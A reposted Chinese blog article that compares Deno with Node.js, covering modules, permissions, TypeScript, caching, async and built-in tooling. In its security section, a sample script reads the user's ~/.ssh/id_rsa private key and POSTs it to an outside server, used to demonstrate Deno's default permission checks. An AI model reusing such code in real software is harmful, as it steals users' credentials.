Deno 正式發布,徹底弄明白和 node 的區別(轉載)

Deno 正式發布,徹底弄明白和 node 的區別

前言

Deno 已經正式發布了??!

我說這句話時候,是不是很多前端 和 NodeJS 工(碼)程(農)師已經按不住自己的40米大刀了。心中的不僅感慨前端是真的會造輪子,有了 node 還不夠嗎,還沒學會 node 又搞了個 deno,node 和 deno 啥區別?!

的確,deno 和 node 形態很相似,要解決的問題似乎也相同,那他們到底有啥區別,這一切究竟是道德的淪喪還是 ry (作者)人性的扭曲,讓我們走進本篇文章,一探究竟。

Deno VS Node

Node Deno
API 引用方式 模塊導入 全局對象
模塊系統 CommonJS & 新版 node 實驗性 ES Module ES Module 瀏覽器實現
安全 無安全限制 默認安全
Typescript 第三方,如通過 ts-node 支持 原生支持
包管理 npm + node_modules 原生支持
異步操作 回調 Promise
包分發 中心化 npmjs.com 去中心化 import url
入口 package.json 配置 import url 直接引入
打包、測試、格式化 第三方如 eslint、gulp、webpack、babel 等 原生支持

1.內置 API 引用方式不同

node 模塊導入

node 內置 API 通過模塊導入的方式引用,例如:

const fs = require("fs");
fs.readFileSync("./data.txt");
復制代碼

deno 全局對象

而 deno 則是一個全局對象 Deno 的屬性和方法:

Deno.readFileSync("./data.txt");
復制代碼

具體 deno 有哪些方法,我們可以通過 repl 看一下:

deno # 或 deno repl
復制代碼

進入 repl 后,輸入 Deno 回車,我們可以看到:

{
 Buffer: [Function: Buffer],
 readAll: [AsyncFunction: readAll],
 readAllSync: [Function: readAllSync],
 writeAll: [AsyncFunction: writeAll],
 writeAllSync: [Function: writeAllSync],
 # .....
}
復制代碼

這種處理的方式好處是簡單、方便,壞處是沒有分類,想查找忘記的 API 比較困難。總體來說見仁見智。

2.模塊系統

我們再來看一下模塊系統,這也是 deno 和 node 差別最大的地方,同樣也是 deno 和 node 不兼容的地方。

node CommonJS 規范

我們都知道 node 采用的是 CommonJS 規范,而 deno 則是采用的 ES Module 的瀏覽器實現,那么我們首先來認識一下:

ES Module 的瀏覽器實現

具體關于 ES Module 想必大家都早已熟知,但其瀏覽器實現可能大家還不是很熟悉,所以我們先看一下其瀏覽器實現:

<body>
  <!-- 注意這里一定要加上 type="module" -->
  <script type="module">
    // 從 URL 導入
    import Vue from "https://unpkg.com/vue@2.6.11/dist/vue.esm.browser.js";
    // 從相對路徑導入
    import * as utils from "./utils.js";
    // 從絕對路徑導入
    import "/index.js";

    // 不支持
    import foo from "foo.js";
    import bar from "bar/index.js";
    import zoo from "./index"; // 沒有 .js 后綴
  </script>
</body>
復制代碼

deno 的模塊規范

deno 完全遵循 es module 瀏覽器實現,所以 deno 也是如此:

// 支持
import * as fs from "https://deno.land/std/fs/mod.ts";
import { deepCopy } from "./deepCopy.js";
import foo from "/foo.ts";

// 不支持
import foo from "foo.ts";
import bar from "./bar"; // 必須指定擴展名
復制代碼

我們發現其和我們平常在 webpack 或者 ts 使用 es module 最大的不同

  • 可以通過 import url 直接引用線上資源;

  • 資源不可省略擴展名和文件名。

關于第 1 點,爭議非常大,有人很看好,覺得極大的擴展了 deno 庫的范圍;有人則不太看好,覺得國內網速的原因,并不實用。大家的看法如何,歡迎在評論區發表 ??

3.安全

如果模塊規范是 node 和 deno 最大的不同,那么對安全的處理,則是另外一個讓人摸不著頭腦的地方。

模擬盜號

在介紹之前我們先思考一下這個場景會不會出現:

我做了一個基于命令行的一鍵上網工具 breakwall,每月 1 個 G 免費流量,然后將壓縮后的 JS 代碼發布到 npm 上,然后后在各種渠道宣傳一波。

羊毛黨興高彩烈的 cnpm install -g breakwall,然后每次使用的時候,我偷偷的將諸位的 ssh 密鑰和各種能偷的文檔及圖片偷偷上傳到我的服務器,在設定期限到期后,刪除電腦上資料,留下一句拿錢換資料,僅支持比特幣。

默認安全的 deno

如果你覺得以上情況有可能出現,則會覺得下面的功能很實用。我們先用 deno 執行以下代碼:

// index.js
let rsa = Deno.readFileSync(Deno.dir("home") + "/.ssh/id_rsa");

rsa = new TextDecoder().decode(rsa);

fetch("http://jsonplaceholder.typicode.com/posts/1", {
  method: "POST",
  body: JSON.stringify(rsa)
})
  .then((res) => res.json())
  .then((res) => console.log("密鑰發送成功,嘿嘿嘿??"));

console.log("start breakwall...");
復制代碼

PS: --unstable 是由于 Deno.dir API 不穩定

> deno run --unstable index.js
復制代碼

我們將會得到如下報錯信息:

> deno run --unstable  index.js
error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
    ...
復制代碼

意思就是權限異常,需要訪問環境變量,需要加上 --allow-env,我們加上這個參數再試一下。

> deno run --unstable --allow-env index.js
error: Uncaught PermissionDenied: read access to "/Users/zhangchaojie/.ssh/id_rsa", run again with the --allow-read flag
    ...
復制代碼

如此反復,還需加上 --allow-read--allow-net ,最終的結果是:

> deno run --unstable --allow-env --allow-read --allow-net  index.js
start breakwall...
密鑰發送成功,嘿嘿嘿??
復制代碼

經過一番折騰,總算是發送成功了,要想盜取密鑰實屬不易。

白名單

那有人就說了,如果我的應用確實需要訪問網絡和文件,但是有不想讓它訪問 .ssh 文件有沒有辦法?

當然有了,我們可以給 --allow-read--allow-net 指定白名單,名單之外都不可訪問,例如:

> deno run --unstable --allow-env --allow-read --allow-net=https://www.baidu.com  index.js
start breakwall...
error: Uncaught PermissionDenied: network access to "http://jsonplaceholder.typicode.com/posts/1", run again with the --allow-net flag
    at unwrapResponse ($deno$/ops/dispatch_json.ts:43:11)
    at Object.sendAsync ($deno$/ops/dispatch_json.ts:98:10)
    at async fetch ($deno$/web/fetch.ts:591:27)
復制代碼

簡化參數

如果確認是沒問題,或者是自己開發軟件時,圖個方便,可以直接使用 -A--allow-all 參數允許所有權限:

> deno -A --unstable index.js
start breakwall...
密鑰發送成功,嘿嘿嘿??
復制代碼

安全這方面見仁見智,有人覺得是多余,有人覺得很好用,極大的增強了安全性。如果你屬于覺得這個功能多余的,可以 deno run -A xxx 即可。

4.兼容瀏覽器 API

很多人不理解,為什么你一個服務端語言要兼容瀏覽器 API,以及怎么兼容。

為什么要兼容瀏覽器 API

關于為什么,我舉個栗子大家就明白了:在設計 node 之處,關于輸出函數本來叫 print 之類的,后來有人提議為什么不叫 console.log,ry 覺得挺不錯,于是就接納了意見。

但是,這個設計并不是刻意為之,而 deno 的設計則可以為之,通過與瀏覽器 API 保持一致,來減少大家的認知

怎么兼容瀏覽器 API

概念上兼容
  • 模塊系統,從上面介紹看出 deno 是完全遵循瀏覽器實現的;

  • 默認安全,當然也不是自己創造的概念,w3c 早已做出瀏覽器權限的規定,我們在做小程序的時候尤為明顯,需要獲取各種權限;

  • 對于異步操作返回 Promise;

  • 使用 ArrayBuffer 處理二進制;

  • 等等...

存在 window 全局變量
console.log(window === this, window === self, window === globalThis);
復制代碼
實現了 WindowOrWorkerGlobalScope 的全部方法

具體方法列表,我們可以參考:lib.deno.shared_globals.d.tslib.deno.window.d.ts

// 請求方法
fetch("https://baidu.com");

// base64 轉化
let encodedData = btoa("Hello, world"); // 編碼
let decodedData = atob(encodedData); // 解碼

// 微任務
queueMicrotask(() => {
  console.log(123);
});

// 等等...
復制代碼
大趨勢

總體而言,如果服務端和瀏覽器端存在相同概念,deno 就不會創造新的概念。這一點其實 node 也在做,新的 node 14.0 CHANGELOG 就也提及要實現 Universal JavaScriptSpec compliance and Web Compatibility的思想,所以這點大家應該都會接受吧,畢竟大勢所趨趨勢。

5.支持 Typescript

不管你喜歡與否,2020 年了,必須學習 TS 了(起碼在面試的時候是亮點)。學完之后你才會明白王境澤定律真的無處不在。

// index.ts
let str: string = "王境澤定律";
str = 132;
復制代碼
> deno run index.ts
error TS2322: Type '123' is not assignable to type 'string'.

? file:///Users/zhangchaojie/Desktop/index.ts:2:1

2 str = 123
  ~~~
復制代碼

6.去 node_modules

deno 沒有 node_modules,那么它是怎么進行包管理的呢?我們先看下面的例子

// index.js
import { white, bgRed } from "https://deno.land/std/fmt/colors.ts";

console.log(bgRed(white("hello world!")));
復制代碼
> deno run index.js
Download https://deno.land/std/fmt/colors.ts
Compile https://deno.land/std/fmt/colors.ts
hello world!
復制代碼

我們看到其有 DownloadCompile 兩個步驟,我們會產生幾個疑問:

1、每次執行都要下載嗎?

解:我們只需要再執行一次就能明白,不需要每次下載。

> deno run index.js
hello world!
復制代碼

2、Download 和 Compile 的文件在哪里呢?

解:我們會發現,當前執行的目錄,并沒有 Download 和 Compile 文件,那文件放在哪里呢,我們首先來看一下 deno --help 命令:

> deno --help
SUBCOMMANDS:
# ...
info           Show info about cache or info related to source file

# ...
ENVIRONMENT VARIABLES:
    DENO_DIR   Set deno's base directory (defaults to $HOME/.deno)
復制代碼

deno info 命令展示了依賴關系,類似 package.json

> deno info index.js
local: /Users/zhangchaojie/Desktop/index.js
type: JavaScript
deps:
file:///Users/zhangchaojie/Desktop/index.js
  └── https://deno.land/std/fmt/colors.ts
復制代碼

DENO_DIR 則為實際的安裝和編譯目錄,相當于 node_modules,默認為 $HOME/.deno(命令提示是這樣的,但實際需要指定一下環境變量 export DENO_DIR=$HOME/.deno),我們看一下:

> tree $HOME/.deno
/Users/zhangchaojie/.deno
├── deps
│   └── https
│       └── deno.land
│           ├── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935
│           └── 3574883d8acbaf00e28990ec8e83d71084c4c668c1dc7794be25208c60cfc935.metadata.json
└── gen
    └── https
        └── deno.land
            └── std
                └── fmt
                    ├── colors.ts.js
                    ├── colors.ts.js.map
                    └── colors.ts.meta

8 directories, 5 files
復制代碼

3、沒網絡了怎么辦?

我們有些場景是將本地寫好的代碼部署到沒有網絡的服務器,那么當執行 deno run xxx 時,就是提示 error sending request。

解:將上面的緩存目錄內容,直接拷貝到服務器并指定環境變量到其目錄即可。

4、依賴代碼更新了怎么辦?

解:當依賴模塊更新時,我們可以通過 --reload 進行更新緩存,例如:

> deno run --reload index.js
復制代碼

我們還可以通過白名單的方式,只更新部分依賴。例如:

> deno run --reload=https://deno.land index.js
復制代碼

5、僅緩存依賴,不執行代碼有辦法嗎?

解:有的,我們可以通過 deno cache index.js 進行依賴緩存。

6、多版本怎么處理?

解:暫時沒有好的解決方案,只能通過 git tag 的方式區分版本。

7.標準模塊 與 node API 兼容

我們通過第 1 點可以看到,其實 deno 的 API 相對于 node 其實是少一些的,通過其文件大小也能看出來:

> ll /usr/local/bin/node /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   42M   /Users/zhangchaojie/.local/bin/deno
-rwxr-xr-x  1   70M   /usr/local/bin/node
復制代碼

那這些少的 API 只能自己寫或者求助于社區嗎?

deno 對于自身相對于 node 少的和社區中常用的功能,提供了標準模塊,其特點是不依賴非標準模塊的內容,達到社區內的模塊引用最后都收斂于標準模塊的效果。例如:

// 類似 node 中 chalk 包
import { bgRed, white } from "https://deno.land/std/fmt/colors.ts";

// 類似 node 中的 uuid 包
import { v4 } from "https://deno.land/std/uuid/mod.ts";
復制代碼

同時為了對 node 用戶友好,提供了 node API 的兼容

import * as path from "https://deno.land/std/node/path.ts";
import * as fs from "https://deno.land/std/node/fs.ts";

console.log(path.resolve('./', './test'))
復制代碼

所以,大家在為 deno 社區做貢獻的時候,首先要看一下標準模塊有沒有提供類似的功能,如果已經提供了可以進行引用。

8.異步操作

根據 ry 自己是說法,在設計 node 是有人提議 Promise 處理回調,但是他沒聽,用他自己的話說就是愚蠢的拒絕了。

node 用回調的方式處理異步操作、deno 則選擇用 Promise

// node 方式
const fs = require("fs");
fs.readFile("./data.txt", (err, data) => {
  if (err) throw err;
  console.log(data);
});
復制代碼

另外 deno 支持 top-level-await,所以以上讀取文件的代碼可以為:

// deno 方式
const data = await Deno.readFile("./data.txt");
console.log(data);
復制代碼

node 關于這方面也在一直改進,例如社區上很多 promisify 解決方案,通過包裹一層函數,實現目的。例如:

// node API promisify
const { promisify } = require("es6-promisify");
const fs = require("fs");

// 沒有 top-level-await,只能包一層
async function main() {
  const readFile = promisify(fs.readFile);
  const data = await readFile("./data.txt");
  console.log(data);
}

main();
復制代碼

9.單文件分發

我們知道 npm 包必須有 package.json 文件,里面不僅需要指明 mainmodulebrowser 等字段來標明入口文件,還需要指明 namelicensedescription 等字段來說明這個包。

ry 覺得這些字段擾亂了開發者的視聽,所以在 deno 中,其模塊不需要任何配置文件,直接是 import url 的形式。

10.去中心化倉庫

對于 www.npmjs.com 我們肯定都不陌生,它是推動 node 蓬勃發展的重要支點。但作者認為它是中心化倉庫,違背了互聯網去中心化原則。

所以 deno 并沒有一個像 npmjs.com 的倉庫,通過 import url 的方式將互聯網任何一處的代碼都可以引用。

PS:deno 其實是有個基于 GitHub 的第三方模塊集合

11.去開發依賴

我們在寫一個 node 庫或者工具時,開發依賴是少不了的,例如 babel 做轉化和打包、jest 做測試、prettier 做代碼格式化、eslint 做代碼格式校檢、gulp 或者 webpack 做構建等等,讓我們在開發前就搞得筋疲力盡。

deno 通過內置了一些工具,解決上述問題。

  • deno bundle:打包命令,用來替換 babelgulp 一類工具: 例如:deno bundle ./mod.ts
  • deno fmt:格式化命令,用來替換 prettier 一類工具,例如:deno fmt ./mod.ts
  • deno test:運行測試代碼,用來替換 jest 一類工具,例如 deno test ./test.ts
  • deno lint:代碼校檢(暫未實現),用來替換 eslint 一類工具,例如:deno lint ./mod.ts

后記

就像小時候一直幻想的炸彈始終沒能炸了學校,技(輪)術(子)的進(制)步(造)一直也未停止過。不論我們學的動或者學不動,技術就在那里,不以人的意志為轉移。

至于 deno 能不能火,我個人覺得起碼一兩年內不會有太大反響,之后和 node 的關系有可能像 Vue 和 react,有人喜歡用 deno,覺得比 node 好一萬倍,有人則喜歡 node ,覺得 node 還能再戰 500 年。至于最終學不學還看自己。

如果覺得文章不錯,記得點贊、收藏啦~~~~

?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 228,333評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,491評論 3 416
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事。” “怎么了?”我有些...
    開封第一講書人閱讀 176,263評論 0 374
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,946評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,708評論 6 410
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,186評論 1 324
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,255評論 3 441
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,409評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,939評論 1 335
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,774評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,976評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,518評論 5 359
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,209評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,641評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,872評論 1 286
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,650評論 3 391
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,958評論 2 373